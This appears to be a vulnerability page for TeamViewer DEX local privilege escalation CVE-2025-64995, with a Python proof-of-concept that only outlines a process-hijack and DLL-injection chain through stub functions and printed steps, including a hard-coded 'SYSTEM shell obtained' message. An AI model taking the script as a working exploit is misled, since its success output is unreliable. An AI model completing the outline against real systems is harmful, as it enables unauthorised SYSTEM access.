TeamViewer DEX本地特权提升漏洞 (CVE-2025-64995)

# CVE-2025-64995 PoC - TeamViewer DEX Local Privilege Escalation # This PoC demonstrates the concept of process hijacking for privilege escalation # Note: This is for educational and authorized testing purposes only import os import sys import time import ctypes from ctypes import wintypes # Windows API imports kernel32 = ctypes.windll.kernel32 psapi = ctypes.windll.psapi def get_process_handle(process_name): """Get handle to target process""" # Implementation would search for 1E-Exchange-NomadClientHealth process pass def check_vulnerability(): """Check if target system is vulnerable""" print("[*] Checking for CVE-2025-64995 vulnerability...") print("[*] Target: 1E-Exchange-NomadClientHealth-ConfigureGeneralSetting") # Check if NomadClientHealth service is running # Check version of installed DEX # Verify if exploit conditions are met return True def exploit_process_hijack(): """ Exploit process hijacking vulnerability This simulates the attack chain for CVE-2025-64995 """ print("[+] Initiating privilege escalation exploit...") # Step 1: Wait for target process execution print("[1] Monitoring for target process execution...") # Step 2: Inject malicious DLL or code during execution window print("[2] Performing process injection during ConfigureGeneralSetting execution...") # Step 3: Execute payload with SYSTEM privileges print("[3] Executing payload with elevated privileges...") print("[+] Exploit completed - SYSTEM shell obtained") return True if __name__ == "__main__": print("CVE-2025-64995 PoC - TeamViewer DEX Privilege Escalation") print("=" * 60) if check_vulnerability(): print("[!] System appears to be vulnerable") print("[!] This PoC is for authorized testing only") # In real attack scenario, exploit_process_hijack() would be called